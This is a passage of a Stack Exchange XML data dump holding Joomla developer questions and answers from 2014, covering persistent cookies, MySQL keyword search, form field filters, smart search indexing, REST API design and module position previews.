  <row Id="760" PostTypeId="1" CreationDate="2014-05-11T15:22:36.100" Score="8" ViewCount="4852" Body="&lt;p&gt;I would like to set a &quot;destination&quot; cookie for all users on my site, to serve tailored content. The cookie needs to persist across login/logout so it appears I cannot use jSession, which is cleared on login/logout.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can sort of achieve this the old fashioned way &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setcookie( &quot;destinationcookie&quot;, $_POST['destination'], strtotime( '+90 days' ) );&#xA;$destination =  isset($_POST['destination']) ? $_POST['destination'] : $_COOKIE[&quot;destinationcookie&quot;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but I'm sure joomla has a better way hidden away somewhere. PS - the documentation on this is practically non-existent as far as I can find. &lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="159" LastEditDate="2014-05-11T18:48:50.583" LastActivityDate="2014-05-12T08:06:17.490" Title="What's the proper way of setting a persistent cookie in Joomla 3.x" Tags="|joomla-3.x|jinput|cookies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="762" PostTypeId="2" ParentId="755" CreationDate="2014-05-11T15:33:16.873" Score="0" Body="&lt;p&gt;In your &lt;em&gt;configuration.php&lt;/em&gt; on line 20, you should see a variable called &lt;code&gt;$live_site&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing it so that is reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = 'http://mysite.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="7344" LastEditDate="2016-05-01T21:29:27.910" LastActivityDate="2016-05-01T21:29:27.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="763" PostTypeId="2" ParentId="760" CreationDate="2014-05-11T15:40:10.217" Score="2" Body="&lt;p&gt;Try using something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input  = JFactory::getApplication()-&amp;gt;input;&#xA;$cookie = $input-&amp;gt;cookie;&#xA;$post = $input-&amp;gt;post;&#xA;&#xA;$cookie-&amp;gt;set('destinationcookie', $post-&amp;gt;get('destination'), strtotime( '+90 days' ));&#xA;$destination =  isset($post-&amp;gt;get('destination')) ? $post-&amp;gt;get('destination') : $cookie-&amp;gt;get($name = 'destinationcookie', $defaultValue = null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-12T08:06:17.490" LastActivityDate="2014-05-12T08:06:17.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostTypeId="2" ParentId="760" CreationDate="2014-05-11T15:41:45.797" Score="5" Body="&lt;p&gt;You may want to have a look at the cookie authentication plugin. It sets and reads a persistent cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's found here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/cookie&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/plugins/authentication/cookie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read a cookie, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$cookieValue = $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;get($cookieName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set a cookie, you use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set($cookieName, $cookieValue, time() + $lifetime, $app-&amp;gt;get('cookie_path', '/'), $app-&amp;gt;get('cookie_domain'), $app-&amp;gt;isSSLConnection());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some documentation can be found on the API page: &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JInputCookie.html&quot;&gt;http://api.joomla.org/cms-3/classes/JInputCookie.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-11T15:41:45.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="766" PostTypeId="2" ParentId="738" CreationDate="2014-05-11T18:20:24.350" Score="3" Body="&lt;p&gt;I agree with Anibal but in addition to his answerI would recommend a Joomla extension called &lt;a href=&quot;http://www.sourcecoast.com/joomla-facebook/&quot; rel=&quot;nofollow&quot;&gt;JFBConnect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this on a few Joomla sites and it makes things a lot easier when trying to connect a Joomla site to social media channels.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2014-05-11T18:20:24.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="767" PostTypeId="2" ParentId="721" CreationDate="2014-05-11T18:22:47.183" Score="3" Body="&lt;p&gt;This sounds like something fishy is going on. You could always enable to reCaptcha plugin installed In Joomla by default.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2014-05-11T18:22:47.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="768" PostTypeId="2" ParentId="760" CreationDate="2014-05-11T18:54:18.437" Score="2" Body="&lt;p&gt;Last time I did some research on this area (March 2013), I found this solution, which is not using JInput:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inspected how JFactory calls JSession but I haven't found a way to set the expiration when storing data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside a system plugin, using the method &lt;code&gt;onAfterRender()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $cookie = session_get_cookie_params();&#xA;&#xA;    $cookie['lifetime'] = DESIRED LIFETIME;&#xA;&#xA;    session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only back-draw I found was that now there are two cookies with identical name and content. I haven't noticed any side effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://groups.google.com/forum/#!searchin/joomla-dev-general/cookie/joomla-dev-general/E_8FKYIl4t8/k-atBR19c7QJ&quot; rel=&quot;nofollow&quot;&gt;Joomla! General Development › Set front-end user session expiration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-11T18:54:18.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostTypeId="2" ParentId="741" CreationDate="2014-05-12T00:35:45.033" Score="1" Body="&lt;p&gt;After more thorough testing I came to the conclusion that this is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I've taken:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I changed the default language from &quot;English&quot; to &quot;Italian&quot;&lt;/li&gt;&#xA;&lt;li&gt;Nothing changed: a search from the &quot;Italian side&quot; did not return content flagged as &quot;All&quot;&lt;/li&gt;&#xA;&lt;li&gt;At this point, keeping &quot;Italian&quot; as the default language, I re-ran the indexer&lt;/li&gt;&#xA;&lt;li&gt;The situation reversed: performing a search from the &quot;Italian side&quot; did return content flagged as &quot;All&quot; while performing the search from the &quot;English side&quot; did not.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My opinion is that something is wrong with the indexer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be noted that this issue occurs with Joomla! 3.3.0 too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will forgive me, but (unless proven wrong) I'm going to choose this as the &quot;solution&quot; to this question and of course I'm going to file an issue on Joomlacode.&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="322" LastEditDate="2014-05-12T00:43:34.923" LastActivityDate="2014-05-12T00:43:34.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="770" PostTypeId="1" CreationDate="2014-05-12T01:09:42.053" Score="3" ViewCount="742" Body="&lt;p&gt;I have a keyword string on which I want to do full text searching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current search query in the model is as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $keyword = $jinput-&amp;gt;get('keyword', '', 'NULL');&#xA;    if($keyword!=''){&#xA;         $keyword = $db-&amp;gt;Quote('%' . $db-&amp;gt;escape($keyword, true) . '%');&#xA;            $query-&amp;gt;where('( a.title LIKE '.$keyword.'  OR  a.features LIKE '.$keyword.'  OR  a.brand LIKE '.$keyword.' )');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this returns very poor search results. For example, the search string &lt;code&gt;Google Nexus 5&lt;/code&gt; matches, whereas &lt;code&gt;Google 5 Nexus&lt;/code&gt; does not. What is the correct way to convert this query to fulltext searching in Joomla 3.3&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="168" LastEditDate="2014-05-12T08:38:24.887" LastActivityDate="2014-11-08T13:13:18.840" Title="Proper way to use MySQL fulltext search on a keyword string?" Tags="|joomla-3.x|mysql|search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostTypeId="2" ParentId="644" CreationDate="2014-05-12T03:05:36.163" Score="2" Body="&lt;p&gt;Well, I've found one solution. This works for my mobile registration but won't work for typical registration. I wonder how many people realize that this call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUserHelper::addUserToGroup($user_id, $group_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will execute the &lt;code&gt;onUserAfterSave&lt;/code&gt; event again. I've seen numerous posts with this recommendation. In terms of registration this is not what you want. But Joomla is not at fault here. It correctly recognizes you are changing the user by adding them to a group so it triggers the &lt;code&gt;onUserAfterSave&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this for my mobile registration I basically just do what the current registration component does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser(0);&#xA;jimport('joomla.application.component.helper');&#xA;$usersParams = &amp;amp;JComponentHelper::getParams( 'com_users' );&#xA;$userdata = array();&#xA;//pull in other user data during registration...        &#xA;$defaultUserGroup = $usersParams-&amp;gt;get('new_usertype', 2);&#xA;//here you need to add your usergroup id&#xA;$userdata['groups']=array($defaultUserGroup, $usergroup_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A different way to do the same thing. Works for me and has made my registration almost twice as fast. Web registration is also a problem but I haven't found a way around that (I don't have the usergroup id available like I do in mobile registration). &lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2014-05-12T03:05:36.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="772" PostTypeId="2" ParentId="735" CreationDate="2014-05-12T06:30:55.740" Score="1" Body="&lt;p&gt;Every page generated by Joomla will need to write to session table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would suggest to use memcache or apc for session management. That should help you achieve zero-write to database, hence read-replica will be sufficient for most of the pages. &lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-05-12T06:30:55.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostTypeId="1" AcceptedAnswerId="906" CreationDate="2014-05-12T06:47:22.133" Score="3" ViewCount="1158" Body="&lt;p&gt;I have a &lt;code&gt;JHtml&lt;/code&gt; custom filter populated by a &lt;code&gt;JFormField&lt;/code&gt; extended class. It is added in the view with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::addFilter(&#xA;    '- Select Height -',&#xA;    'filter_height',&#xA;    JHtml::_('select.options', $heightOptions, &quot;value&quot;, &quot;text&quot;, $this-&amp;gt;state-&amp;gt;get('filter.height'), true)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works as intended but for some reason the filter will not display the default text (- Select Height -) but instead shows the &quot;select an option&quot; string (I've included another filter - coded the same way - in the screen shot to show what it should look like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cwx0Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some messing around I figured out that I could fix it by changing my database query in the &lt;code&gt;JFormField&lt;/code&gt; class. My original &lt;code&gt;JFormField&lt;/code&gt; class is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldHeight extends JFormFieldList&#xA;{&#xA;    protected $type = 'Height';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        $options = array();&#xA;&#xA;        $db     = JFactory::getDbo();&#xA;        $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select(&quot;DISTINCT LEFT(a.description2, LOCATE('(', a.description2) - 1) AS height&quot;);&#xA;        $query-&amp;gt;from('#__cadcam_disc AS a');&#xA;        $query-&amp;gt;order(&quot;LEFT(a.description2, LOCATE('(', a.description2) - 1)&quot;);&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $options = $db-&amp;gt;loadObjectList();&#xA;&#xA;        if ($db-&amp;gt;getErrorNum()) {&#xA;            JError::raiseWarning(500, $db-&amp;gt;getErrorMsg());&#xA;        }&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code causes the problem but if I remove the &lt;code&gt;LOCATE&lt;/code&gt; function from the query it works fine. Obviously I need to keep the original query so this is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For info, the select box is loaded with the values in both cases including the default value but even selecting the default value will revert to the &quot;select an option&quot; string:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZ7BG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="12352" LastEditDate="2019-03-11T02:51:04.587" LastActivityDate="2019-03-11T02:51:04.587" Title="How to retrieve unique values before a parenthesis in JFormFieldList Filter query?" Tags="|joomla-3.x|component|mysql|jform|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="774" PostTypeId="2" ParentId="773" CreationDate="2014-05-12T08:03:46.893" Score="0" Body="&lt;p&gt;You don't mention the Joomla version you're working with but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; If you're wanting &quot;- Select Height -&quot; I'm not sure why are you wrapping it in a &lt;a href=&quot;http://docs.joomla.org/JText/_%28%29&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JText::_()&lt;/code&gt;&lt;/a&gt; call first. &lt;code&gt;JText::_()&lt;/code&gt; is used translate a key from a language file, e.g. if you had this in an English language file in &lt;code&gt;/components/com_mycomponent/language/en-GB/en-GB.com_mycomponent.ini&lt;/code&gt; which had this line in it (along with many others)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; COM_MYCOMPONENT_PLACEHOLDER_SELECT_HEIGHT=&quot;- Select Height -&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the key on the left of the &lt;code&gt;=&lt;/code&gt; has no spaces in it, and is keyed by the component. By default, if the key isn't found you should get back the text passed into the function, but, by removing the &lt;code&gt;JText::_()&lt;/code&gt; call you can eliminate that as the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; You will need to add the code for your &lt;code&gt;JFormField&lt;/code&gt; which is where the first item would normally be set, so we can see what the issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;print_r($heightOptions)&lt;/code&gt; could also shed some light on whats going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously in an extended &lt;code&gt;JFormFieldList&lt;/code&gt;, we prepend the first item to &lt;code&gt;$options&lt;/code&gt; created from the database, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$noneSelected = new stdClass;&#xA;$noneSelected-&amp;gt;value = '';&#xA;$noneSelected-&amp;gt;text = '- ' . JText::_('COM_MYCOMPONENT_PLACEHOLDER_SELECT_HEIGHT') . ' -';&#xA;array_splice($options, 0, 0, array($noneSelected));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-12T08:14:43.033" LastActivityDate="2014-05-12T08:14:43.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="775" PostTypeId="1" AcceptedAnswerId="780" CreationDate="2014-05-12T08:20:57.207" Score="3" ViewCount="2632" Body="&lt;p&gt;I tried to get a component form from my module. I got the model and then tried to get the form, but the result was empty. I tried to define 'JPATH_COMPONENT' and it was useless.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_COMPONENT', JPATH_SITE . '/components/com_business');&#xA;&#xA;jimport('joomla.application.component.model');&#xA;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_business/models');&#xA;$model = JModelLegacy::getInstance('Organization', 'BusinessModel'); //It is correct&#xA;&#xA;$form = $model -&amp;gt;get('Form'); //empty&#xA;print_r($form);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="388" LastEditorUserId="1629" LastEditDate="2014-08-01T06:46:46.007" LastActivityDate="2014-08-01T06:46:46.007" Title="How to get the form of component from module?" Tags="|component|module|jform|model|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostTypeId="1" CreationDate="2014-05-12T08:29:34.183" Score="2" ViewCount="1395" Body="&lt;p&gt;I want to use smart search. But my indexer won't finish indexing.&lt;br&gt;&#xA;I’ve enabled the smart search plugin.&lt;br&gt;&#xA;Made a custom smart search plugin.&lt;br&gt;&#xA;When I hit the index button, joomla starts indexing VERY slow after about 25% it stops.&lt;br&gt;&#xA;I’ve googled and googled… Others have this problem, but nobody seems to come up with an answer.&lt;br&gt;&#xA;I’ve tried adjusting the Indexer Batch Size to 5, and 100 and so on.&lt;br&gt;&#xA;I’ve tried adjusting the tab Index to 3000 and 30.&lt;br&gt;&#xA;I’ve tried changing the log path.&lt;br&gt;&#xA;I’ve change my php version from 5.2 to 5.5.&lt;br&gt;&#xA;I’ve change session time from 15 to 55 to 555 and so on.&lt;br&gt;&#xA;… and every time the same happens, indexer stops at 25% or so.&lt;br&gt;&#xA;Hope someone help me?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution!!&lt;br&gt;&#xA;Somehow, I was able to index my local website, so I've imported the local database the the live one. I know this isn't a perfect solution. However it must do for now.&lt;br&gt;&#xA;The live website should be an exact copy of the local one, so I have no idea of where difference are.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-05-13T19:08:45.180" LastActivityDate="2014-09-10T20:36:45.913" Title="Smart search indexer hangs" Tags="|joomla-3.x|smartsearch|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="777" PostTypeId="2" ParentId="770" CreationDate="2014-05-12T09:18:51.373" Score="1" Body="&lt;p&gt;&lt;em&gt;NB. this isn't tested code just typed into the browser so caveat emptor&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;The first step would be to check the search term for spaces and then &lt;code&gt;explode()&lt;/code&gt; it it into an &lt;code&gt;array()&lt;/code&gt; that contains each of the space delimited strings. e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$keywordArray = explode(&quot; &quot;, $keyword);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to &lt;em&gt;only&lt;/em&gt; find content that has &lt;strong&gt;all keywords&lt;/strong&gt; in it, then you also need to use an &lt;code&gt;AND&lt;/code&gt; rather than an &lt;code&gt;OR&lt;/code&gt;. By the way, the &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; call you have automatically performs an &lt;code&gt;escape()&lt;/code&gt; the way you're using it (I'm not sure if it detects the previously escaped text with the extra escaping or not in your case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to build your &lt;code&gt;where&lt;/code&gt;'s you could loop through the array with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($keyword!=''){&#xA;    $keywordArray = explode(&quot; &quot;, $keyword);&#xA;&#xA;    foreach ($keywordArray as $keyword)&#xA;    {&#xA;        $searchTerm = $db-&amp;gt;Quote('%' . $keyword . '%');&#xA;        $query-&amp;gt;where('( a.title LIKE '.$searchTerm.' AND a.title LIKE '.$searchTerm.' AND a.title LIKE '.$searchTerm.' )');&#xA;        $query-&amp;gt;where('( a.features LIKE '.$searchTerm.' AND a.features LIKE '.$searchTerm.' AND a.features LIKE '.$searchTerm.' )');&#xA;        $query-&amp;gt;where('( a.brand LIKE '.$searchTerm.' AND a.brand LIKE '.$searchTerm.' AND a.brand LIKE '.$searchTerm.' )');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having said that, this could be some serious load on MySQL, it's a relational database after all not a search engine. You may want to do things like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Give the user the option to search in just one of those columns&lt;/li&gt;&#xA;&lt;li&gt;Limit the number of words on input, imagine a search with 10 or more words in it.&lt;/li&gt;&#xA;&lt;li&gt;Look at options like &lt;code&gt;MATCH&lt;/code&gt; and &lt;code&gt;MATCH AGAINST&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-12T09:24:16.583" LastActivityDate="2014-05-12T09:24:16.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostTypeId="2" ParentId="770" CreationDate="2014-05-12T09:35:06.977" Score="1" Body="&lt;p&gt;I'm facing the same issue especially when you have large data sets. I tried also the MATCH and MATCH AGAINST solutions but they were not really helpful for full text search. At the end I wrote my own &lt;a href=&quot;http://docs.joomla.org/Creating_a_Smart_Search_plug-in&quot; rel=&quot;nofollow&quot;&gt;finder plugin&lt;/a&gt; and do migrate my extensions for full text search to use &lt;a href=&quot;http://docs.joomla.org/Smart_Search_quickstart_guide&quot; rel=&quot;nofollow&quot;&gt;smart search&lt;/a&gt;. Don't know if this is an option for you.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2014-05-12T09:35:06.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="779" PostTypeId="1" CreationDate="2014-05-12T10:08:53.803" Score="11" ViewCount="15870" Body="&lt;p&gt;I have been building Joomla extensions since v1 but I soon need to take an API live that I have built and have been using for a while. Currently I am using Joomla 2.5 and have written plugins for this system:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/techjoomla/com_api&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/techjoomla/com_api&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Before going live I would like to future proof the system as much as possible. This API component has only recently started to be upgraded to work with Joomla v3 so it is currently preventing the site from being upgraded. I also think separating the public API and the user portal makes sense as there is no benefit from it being an integrated extension as the API will be used by mobile apps.&lt;/p&gt;&#xA;&lt;p&gt;The current plan is to rebuild the API on a subdomain which will allow us to upgrade the user portal. I have been reading about the new Joomla framework which looks exciting. Would this be suitable for building a RESTful API for our mobile apps? If so, are they tips on getting started? I've read that FoF can be used to build an API, would this be a good choice? I saw the Kickstarter project intending to build exactly this sort of API, is that a potential option? Should I just strip back the current 2.5 site for the subdomain so it only runs the API?&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions on the best approach for building a Joomla based RESTful API for mobile interaction will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-24T23:09:51.503" Title="How to build a RESTful API with Joomla" Tags="|development|php|joomla-api|joomla-framework-1.x|fof|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostTypeId="2" ParentId="775" CreationDate="2014-05-12T13:14:34.187" Score="4" Body="&lt;p&gt;Try to add an additional path where to look for forms before your call to &lt;code&gt;$model-&amp;gt;get('Form')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JForm::addFormPath(YOUR_COMPONENT_FORMS_PATH);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need it because getForm calls loadForm (declared on the ancestor class JModelForm) which, before getting the form instance, uses this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JForm::addFormPath(JPATH_COMPONENT . '/models/forms');&#xA;JForm::addFieldPath(JPATH_COMPONENT . '/models/fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you may use &lt;code&gt;JForm::getInstance&lt;/code&gt; to get an instance of your form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2014-05-12T13:14:34.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="781" PostTypeId="1" CreationDate="2014-05-12T16:09:54.760" Score="8" ViewCount="246" Body="&lt;p&gt;Can someone please explain the process behind tp=1 for the mod positions preview , &#xA;I found the module output which is called from templates/system/html/module.php &#xA;function &lt;code&gt;modChrome_outline(...)&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I know that the style is being forced if site is accessed via tp=1 var &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L229&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L229&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I assume is happening is that when accessed via tp=1 the site is forced to use system template but I am looking for actual process and cant find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If here &#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L231&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L231&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs['style'] .= ' outline';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs['style'] .= ' customoutline';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have my customoutline chrome in modules.php I still get only the mods published on that page , not all module positions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anyone please explain  or show me where( what file )  the process is located. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="1629" LastEditDate="2014-08-01T06:46:40.470" LastActivityDate="2014-08-01T06:46:40.470" Title="Can anyone explain the tp=1 process?" Tags="|module|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="782" PostTypeId="2" ParentId="781" CreationDate="2014-05-12T17:14:04.290" Score="6" Body="&lt;p&gt;Found it , was missing one more override which was bellow &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L98&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L98&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum down , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if u wish to make own mods preview &lt;/p&gt;&#xA;&#xA;&lt;p&gt;create your preview chrome in templates/your_template/html/modules.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;override module helper class (&lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes/324#324&quot;&gt;see this&lt;/a&gt; ) by adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // my preview&#xA;    if ($app-&amp;gt;input-&amp;gt;getBool('myoutline'))&#xA;    {&#xA;        $attribs['style'] .= ' myoutline';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 